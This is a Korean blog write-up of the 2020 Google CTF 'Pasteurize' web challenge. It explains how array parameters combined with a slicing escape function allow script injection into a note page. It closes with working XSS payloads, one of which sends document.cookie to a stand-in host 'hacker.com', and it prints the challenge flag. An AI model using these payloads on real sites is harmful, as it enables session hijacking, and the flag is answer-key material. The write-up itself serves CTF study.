CTF/2020 Google CTF

2020 Google CTF Web Pasteurize 50pt

NGA_ 2020. 8. 25. 15:27

PASTEURIZE

This doesn't look secure. I wouldn't put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?

https://pasteurize.web.ctfcompetition.com/

 

웹페이지를 접속하면 글을 작성할 수 있는 간단한 form이 존재하고 /source로 Server Source code를 얻을 수 있다.

<!-- Page: / -->
<body>
    <nav class="navbar navbar-expand-md navbar-light bg-light">
    <div class="collapse navbar-collapse mr-auto">
        <a href="/" class="navbar-brand">Pasteurize</a>
    </div>
</nav>
    <div class="container w-50 pt-5">
        <h3>Create new paste</h3>
        <form class="form" method="post">
            <textarea class="form-control" name="content"></textarea>
            <input type="submit" class="mt-3 btn btn-primary btn-block" value="Submit">
        </form>

    </div>
    
    <a href="/source" style="display:none">Source</a>
    
</body>

 

POST content값이 script tag내 note 변수에 필터링되어 저장이 되며 DOMPurify.sanitize를 거쳐 HTML로 랜더링 됨으로 XSS가 발생되지 않는다.

<!-- Page: /[a-f0-9\-]{36} -->
    <script>
        const note = "\"'`\x3C\x3E";
        const note_id = "c981f11b-944a-4dc8-8ed8-0e493e65cf91";
        const note_el = document.getElementById('note-content');
        const note_url_el = document.getElementById('note-title');
        const clean = DOMPurify.sanitize(note);
        note_el.innerHTML = clean;
        note_url_el.href = `/${note_id}`;
        note_url_el.innerHTML = `${note_id}`;
    </script>

 

글을 읽어올 때 id에 맞는 note.content 값을 escape_string을 거쳐 res.render에 전달해 template를 랜더링한다.

여기서 bodyparser extended: true 옵션과 escape_string을 통해 script tag 내 값들을 조작할 수 있게 된다.

/* Page: /source */

... 생략 ...

/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
  extended: true
}));

... 생략 ...

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
  
... 생략 ...

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
  const note_id = req.params.id;
  const note = await DB.get_note(note_id);

  if (note == null) {
    return res.status(404).send("Paste not found or access has been denied.");
  }

  const unsafe_content = note.content;
  const safe_content = escape_string(unsafe_content);

  res.render('note_public', {
    content: safe_content,
    id: note_id,
    captcha: res.recaptcha
  });
});

... 생략 ...

 

content값을 Array로 전달해 XSS를 발생시킬 수 있다.

// alert
content[]=;alert(1);

const note="";alert(1);""

// hijack cookie
content[]=;navigator.sendBeacon(`https://hacker.com`,document.cookie);

const note="";navigator.sendBeacon(`https://hacker.com`,document.cookie);""

Flag: CTF{Express_t0_Tr0ubl3s}